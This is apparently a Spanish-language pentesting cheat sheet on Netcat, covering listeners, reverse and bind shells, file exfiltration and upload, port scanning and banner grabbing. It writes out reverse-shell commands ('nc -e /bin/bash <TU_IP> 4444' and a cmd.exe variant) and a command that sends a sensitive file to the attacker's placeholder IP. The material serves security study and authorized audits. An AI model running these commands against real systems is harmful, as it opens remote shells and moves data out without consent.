Appearance
🔧 Netcat
Netcat es conocida como la "navaja suiza" del protocolo TCP/IP. Es una herramienta extremadamente versátil que permite leer y escribir datos a través de conexiones de red utilizando los protocolos TCP o UDP. Es indispensable en cualquier auditoría para depuración, transferencias de archivos y, sobre todo, para establecer acceso remoto.
Está disponible de forma nativa en la mayoría de distribuciones *NIX y cuenta con versiones ejecutables para Windows.
👂 Comandos Básicos y Conexión
El comando estándar para ponernos a la escucha es:
bash
nc -nvlp 1234-n- No realiza resolución DNS (más rápido).-v- Modo verbose (muestra detalles de la conexión).-l- Modo listen (escucha conexiones entrantes).-p- Especifica el puerto local.
| Acción | Comando |
|---|---|
| Conectarse a un puerto | nc -nv <IP> <PUERTO> |
| Escuchar en modo UDP | nc -nvulp <PUERTO> |
🐚 Shells Remotas
Esta es una de las funciones más críticas durante la fase de explotación.
1. Reverse Shell (Recomendado)
El objetivo se conecta a nuestra máquina. Es la mejor opción para evadir firewalls que bloquean conexiones entrantes.
- Atacante (Escucha):
nc -nvlp 4444 - Víctima (Linux):
nc -e /bin/bash <TU_IP> 4444 - Víctima (Windows):
nc.exe -e cmd.exe <TU_IP> 4444
2. Bind Shell
Nosotros nos conectamos al puerto abierto por la víctima.
- Víctima:
nc -nvlp 4444 -e /bin/bash - Atacante:
nc -nv <IP_VICTIMA> 4444
⚠️ Limitaciones de la "Dumb Shell"
Por defecto, una shell obtenida a través de Netcat es muy inestable y limitada:
- Si pulsas Ctrl+C, la sesión se cierra por completo.
- No hay autocompletado con el tabulador.
- No hay historial de comandos (flechas arriba/abajo).
- No se puede usar editores de texto interactivos como
nanoovi.
Para solucionar esto, se suele requerir un proceso manual de "estabilización de TTY".
🚀 Herramienta automática: Penelope
Para evitar el trabajo manual, se puede usar esta herramienta, la cual es un reemplazo moderno para el listener de Netcat que detecta automáticamente la conexión y estabiliza la shell de forma automática, dándote una TTY completa con historial y resistencia al Ctrl+C.
📂 Transferencia de Archivos
Útil para subir herramientas de post-explotación o exfiltrar información cuando otros medios (como SSH o HTTP) no están disponibles.
Escenario A: Sacar un archivo de la víctima (Exfiltración)
- Atacante (Recibe):
nc -nvlp 4444 > archivo_recibido.txt - Víctima (Envía):
nc -nv <TU_IP> 4444 < archivo_sensible.txt
Escenario B: Enviar un archivo a la víctima (Subida)
- Víctima (Recibe):
nc -nvlp 4444 > herramienta.sh - Atacante (Envía):
nc -nv <IP_VICTIMA> 4444 < herramienta.sh
🕵️ Otros Casos de Uso
Escaneo de Puertos rápido
Si no dispones de Nmap, Netcat puede realizar un escaneo básico:
bash
# -z: modo Zero-I/O (escaneo sin enviar datos)
# -w 1: timeout de 1 segundo
nc -nvz -w 1 <IP_OBJETIVO> 1-1000Banner Grabbing
Para identificar el servicio y la versión que corre en un puerto:
bash
nc -nv <IP> <PUERTO>
# Una vez conectado, presiona Enter para forzar una respuesta del servicio.